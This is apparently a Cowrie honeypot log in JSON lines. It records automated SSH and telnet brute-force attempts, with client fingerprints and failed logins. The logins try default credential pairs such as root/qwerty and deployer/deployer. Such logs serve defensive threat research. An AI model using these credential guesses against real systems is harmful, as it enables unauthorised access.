{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:25.240613Z","src_ip":"193.151.144.93","session":"0fb907e05017","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:25.754465Z","src_ip":"193.151.144.93","session":"0fb907e05017","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:28.667305Z","src_ip":"193.151.144.93","session":"0fb907e05017","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":34884,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0dc5c612122","protocol":"ssh","message":"New connection: 193.151.144.93:34884 (10.17.0.5:22) [session: c0dc5c612122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:30.456789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:30.472526Z","src_ip":"193.151.144.93","session":"c0dc5c612122","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:30.644017Z","src_ip":"193.151.144.93","session":"c0dc5c612122","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:31.159289Z","src_ip":"193.151.144.93","session":"c0dc5c612122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:32.333630Z","src_ip":"193.151.144.93","session":"c0dc5c612122","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":34886,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d46c20c9477","protocol":"ssh","message":"New connection: 193.151.144.93:34886 (10.17.0.5:22) [session: 3d46c20c9477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:35.839964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:35.846300Z","src_ip":"193.151.144.93","session":"3d46c20c9477","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:36.009831Z","src_ip":"193.151.144.93","session":"3d46c20c9477","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:36.499748Z","src_ip":"193.151.144.93","session":"3d46c20c9477","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:37.665047Z","src_ip":"193.151.144.93","session":"3d46c20c9477","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37814,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e5c390f86a1","protocol":"ssh","message":"New connection: 193.151.144.93:37814 (10.17.0.5:22) [session: 7e5c390f86a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:41.228549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:41.233470Z","src_ip":"193.151.144.93","session":"7e5c390f86a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:41.403665Z","src_ip":"193.151.144.93","session":"7e5c390f86a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:41.902358Z","src_ip":"193.151.144.93","session":"7e5c390f86a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:43.070096Z","src_ip":"193.151.144.93","session":"7e5c390f86a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58674,"dst_ip":"159.203.135.109","dst_port":23,"session":"de7840534646","protocol":"telnet","message":"New connection: 69.4.83.194:58674 (159.203.135.109:23) [session: de7840534646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:43.443454Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":37826,"dst_ip":"10.17.0.5","dst_port":22,"session":"b07d3306ee42","protocol":"ssh","message":"New connection: 193.151.144.93:37826 (10.17.0.5:22) [session: b07d3306ee42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:46.794327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:46.801432Z","src_ip":"193.151.144.93","session":"b07d3306ee42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:46.971255Z","src_ip":"193.151.144.93","session":"b07d3306ee42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:47.478751Z","src_ip":"193.151.144.93","session":"b07d3306ee42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:49.085087Z","src_ip":"193.151.144.93","session":"b07d3306ee42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":36060,"dst_ip":"10.17.0.5","dst_port":22,"session":"45f6cda0686d","protocol":"ssh","message":"New connection: 109.172.54.111:36060 (10.17.0.5:22) [session: 45f6cda0686d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:51.438470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:51.443672Z","src_ip":"109.172.54.111","session":"45f6cda0686d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:51.547938Z","src_ip":"109.172.54.111","session":"45f6cda0686d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"150788","message":"login attempt [root/150788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:51.851377Z","src_ip":"109.172.54.111","session":"45f6cda0686d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":35548,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad4787edfa43","protocol":"ssh","message":"New connection: 193.151.144.93:35548 (10.17.0.5:22) [session: ad4787edfa43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:52.108618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:52.113386Z","src_ip":"193.151.144.93","session":"ad4787edfa43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:52.280762Z","src_ip":"193.151.144.93","session":"ad4787edfa43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:52.784672Z","src_ip":"193.151.144.93","session":"ad4787edfa43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:52.953998Z","src_ip":"109.172.54.111","session":"45f6cda0686d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:53.955163Z","src_ip":"193.151.144.93","session":"ad4787edfa43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":35562,"dst_ip":"10.17.0.5","dst_port":22,"session":"257583d25a50","protocol":"ssh","message":"New connection: 193.151.144.93:35562 (10.17.0.5:22) [session: 257583d25a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:57.586635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:57.655397Z","src_ip":"193.151.144.93","session":"257583d25a50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:57.821520Z","src_ip":"193.151.144.93","session":"257583d25a50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":34678,"dst_ip":"159.203.135.109","dst_port":22,"session":"357f34bf03fd","protocol":"ssh","message":"New connection: 43.242.203.160:34678 (159.203.135.109:22) [session: 357f34bf03fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:58.248886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:58.253087Z","src_ip":"43.242.203.160","session":"357f34bf03fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:12:58.320995Z","src_ip":"193.151.144.93","session":"257583d25a50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"la